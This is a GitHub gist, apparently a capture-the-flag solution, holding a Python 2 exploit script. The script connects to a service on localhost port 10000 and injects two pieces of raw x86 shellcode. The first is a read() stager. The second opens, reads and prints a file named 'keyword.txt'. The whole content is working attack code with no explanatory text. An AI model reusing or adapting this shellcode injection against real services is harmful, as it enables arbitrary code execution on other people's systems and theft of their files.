Skip to content

Instantly share code, notes, and snippets.

@potetisensei
Created November 10, 2014 18:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save potetisensei/2722c574ded55d489fa9 to your computer and use it in GitHub Desktop.
Save potetisensei/2722c574ded55d489fa9 to your computer and use it in GitHub Desktop.
from socket import *
from struct import pack
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10000))
stager = "\x89\xc1\x31\xdb\x6a\x03\x58\x6a\x7f\x5a\xcd\x80"
read_shellcode = "\x90" * 30 + "\x31\xc9\x51\x68\x74\x78\x74\x00\x68\x6f\x72\x64\x2e\x68\x6b\x65\x79\x77\x54\x5b\x6a\x05\x58\xcd\x80\x89\xc3\xb0\x03\x89\xe1\x81\xc1\xff\x00\x00\x00\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80"
p.send(pack("<I", len(stager)))
p.send(stager)
p.send(read_shellcode)
print p.recv(1024)
print p.recv(1024)
print p.recv(1024)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment